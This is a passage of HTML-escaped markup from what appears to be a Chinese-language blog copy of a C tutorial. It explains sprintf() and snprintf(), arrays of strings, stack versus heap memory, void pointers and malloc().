c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e first[\u003cspan class=\"number\"\u003e6\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e last[\u003cspan class=\"number\"\u003e6\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e40\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esprintf\u003c/span\u003e(s, \u003cspan class=\"string\"\u003e\u0026#34;%s %s\u0026#34;\u003c/span\u003e, first, last);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// hello world\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esprintf()\u003c/code\u003e将输出内容组合成“hello world”,然后放入了变量\u003ccode\u003es\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e的返回值是写入变量的字符数量(不计入尾部的空字符\u003ccode\u003e\\0\u003c/code\u003e)。如果遇到错误,返回负值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e有严重的安全风险,如果写入的字符串过长,超过了目标字符串的长度,\u003ccode\u003esprintf()\u003c/code\u003e依然会将其写入,导致发生溢出。为了控制写入的字符串的长度,C 语言又提供了另一个函数\u003ccode\u003esnprintf()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esnprintf()\u003c/code\u003e只比\u003ccode\u003esprintf()\u003c/code\u003e多了一个参数\u003ccode\u003en\u003c/code\u003e,用来控制写入变量的字符串不超过\u003ccode\u003en - 1\u003c/code\u003e个字符,剩下一个位置写入空字符\u003ccode\u003e\\0\u003c/code\u003e。下面是它的原型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e*s, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esnprintf()\u003c/code\u003e总是会自动写入字符串结尾的空字符。如果你尝试写入的字符数超过指定的最大字符数,\u003ccode\u003esnprintf()\u003c/code\u003e会写入 n - 1 个字符,留出最后一个位置写入空字符。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esnprintf\u003c/span\u003e(s, \u003cspan class=\"number\"\u003e12\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;%s %s\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的例子中,\u003ccode\u003esnprintf()\u003c/code\u003e的第二个参数是12,表示写入字符串的最大长度不超过12(包括尾部的空字符)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esnprintf()\u003c/code\u003e的返回值是写入变量的字符数量(不计入尾部的空字符\u003ccode\u003e\\0\u003c/code\u003e),应该小于\u003ccode\u003en\u003c/code\u003e。如果遇到错误,返回负值。\u003c/p\u003e\u003ch3 id=\"字符串数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"字符串数组\"\u003e\u003c/a\u003e字符串数组\u003c/h3\u003e\u003cp\u003e如果一个数组的每个成员都是一个字符串,需要通过二维的字符数组实现。每个字符串本身是一个字符数组,多个字符串再组成一个数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e weekdays[\u003cspan class=\"number\"\u003e7\u003c/span\u003e][\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Wednesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Thursday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Friday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Saturday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Sunday\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例就是一个字符串数组,一共包含7个字符串,所以第一维的长度是7。其中,最长的字符串的长度是10(含结尾的终止符\u003ccode\u003e\\0\u003c/code\u003e),所以第二维的长度统一设为10。\u003c/p\u003e\u003cp\u003e因为第一维的长度,编译器可以自动计算,所以可以省略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e weekdays[][\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Wednesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Thursday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Friday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Saturday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Sunday\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,二维数组第一维的长度,可以由编译器根据后面的赋值,自动计算,所以可以不写。\u003c/p\u003e\u003cp\u003e数组的第二维,长度统一定为10,有点浪费空间,因为大多数成员的长度都小于10。解决方法就是把数组的第二维,从字符数组改成字符指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* weekdays[] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Wednesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Thursday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Friday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Saturday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Sunday\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的字符串数组,其实是一个一维数组,成员就是7个字符指针,每个指针指向一个字符串(字符数组)。\u003c/p\u003e\u003cp\u003e遍历字符串数组的写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e7\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, weekdays[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"C-语言的内存管理\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86\" class=\"headerlink\" title=\"C 语言的内存管理\"\u003e\u003c/a\u003eC 语言的内存管理\u003c/h2\u003e\u003ch3 id=\"简介-5\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-5\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言的内存管理,分成两部分。一部分是系统管理的,另一部分是用户手动管理的。\u003c/p\u003e\u003cp\u003e系统管理的内存,主要是函数内部的变量(局部变量)。这部分变量在函数运行时进入内存,函数运行结束后自动从内存卸载。这些变量存放的区域称为”栈“(stack),”栈“所在的内存是系统自动管理的。\u003c/p\u003e\u003cp\u003e用户手动管理的内存,主要是程序运行的整个过程中都存在的变量(全局变量),这些变量需要用户手动从内存释放。如果使用后忘记释放,它就一直占用内存,直到程序退出,这种情况称为”内存泄漏“(memory leak)。这些变量所在的内存称为”堆“(heap),”堆“所在的内存是用户手动管理的。\u003c/p\u003e\u003ch3 id=\"void-指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#void-%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"void 指针\"\u003e\u003c/a\u003evoid 指针\u003c/h3\u003e\u003cp\u003e前面章节已经说过了,每一块内存都有地址,通过指针变量可以获取指定地址的内存块。指针变量必须有类型,否则编译器无法知道,如何解读内存块保存的二进制数据。但是,向系统请求内存的时候,有时不确定会有什么样的数据写入内存,需要先获得内存块,稍后再确定写入的数据类型。\u003c/p\u003e\u003cp\u003e为了满足这种需求,C 语言提供了一种不定类型的指针,叫做 void 指针。它只有内存块的地址信息,没有类型信息,等到使用该块内存的时候,再向编译器补充说明,里面的数据类型是什么。\u003c/p\u003e\u003cp\u003e另一方面,void 指针等同于无类型指针,可以指向任意类型的数据,但是不能解读数据。void 指针与其他所有类型指针之间是互相转换关系,任一类型的指针都可以转为 void 指针,而 void 指针也可以转为任一类型的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* p = \u0026amp;x; \u003cspan class=\"comment\"\u003e// 整数指针转为 void 指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* q = p; \u003cspan class=\"comment\"\u003e// void 指针转为整数指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例演示了,整数指针和 void 指针如何互相转换。\u003ccode\u003e\u0026amp;x\u003c/code\u003e是一个整数指针,\u003ccode\u003ep\u003c/code\u003e是 void 指针,赋值时\u003ccode\u003e\u0026amp;x\u003c/code\u003e的地址会自动解释为 void 类型。同样的,\u003ccode\u003ep\u003c/code\u003e再赋值给整数指针\u003ccode\u003eq\u003c/code\u003e时,\u003ccode\u003ep\u003c/code\u003e的地址会自动解释为整数指针。\u003c/p\u003e\u003cp\u003e注意,由于不知道 void 指针指向什么类型的值,所以不能用\u003ccode\u003e*\u003c/code\u003e运算符取出它指向的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"string\"\u003e\u0026#39;X\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* p = \u0026amp;a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\\n\u0026#34;\u003c/span\u003e, *p); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e是一个 void 指针,所以这时无法用\u003ccode\u003e*p\u003c/code\u003e取出指针指向的值。\u003c/p\u003e\u003cp\u003evoid 指针的重要之处在于,很多内存相关函数的返回值就是 void 指针,只给出内存块的地址信息,所以放在最前面进行介绍。\u003c/p\u003e\u003ch3 id=\"malloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#malloc\" class=\"headerlink\" title=\"malloc()\"\u003e\u003c/a\u003emalloc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e函数用于分配内存,该函数向系统要求一段内存,系统就在“堆”里面分配一段连续的内存块给它。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003emalloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个非负整数作为参数,表示所要分配的内存字节数,返回一个 void 指针,指向分配好的内存块。这是非常合理的,因为\u003ccode\u003emalloc()\u003c/code\u003e函数不知道,将要存储在该块内存的数据是什么类型,所以只能返回一个无类型的 void 指针。\u003c/p\u003e\u003cp\u003e可以使用\u003ccode\u003emalloc()\u003c/code\u003e为任意类型的数据分配内存,常见的做法是先使用\u003ccode\u003esizeof()\u003c/code\u003e函数,算出某种数据类型所需的字节长度,然后再将这个长度传给\u003ccode\u003emalloc()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*p = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, *p); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先为整数类型分配一段内存,然后将整数\u003ccode\u003e12\u003c/code\u003e放入这段内存里面。这个例子其实不需要使用\u003ccode\u003emalloc()\u003c/code\u003e,因为 C 语言会自动为整数(本例是\u003ccode\u003e12\u003c/code\u003e)提供内存。\u003c/p\u003e\u003cp\u003e有时候为了增加代码的可读性,可以对\u003ccode\u003emalloc()\u003c/code\u003e返回的指针进行一次强制类型转换。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将\u003ccode\u003emalloc()\u003c/code\u003e返回的 void 指针,强制转换成了整数指针。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003esizeof()\u003c/code\u003e的参数可以是变量,所以上面的例子也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan 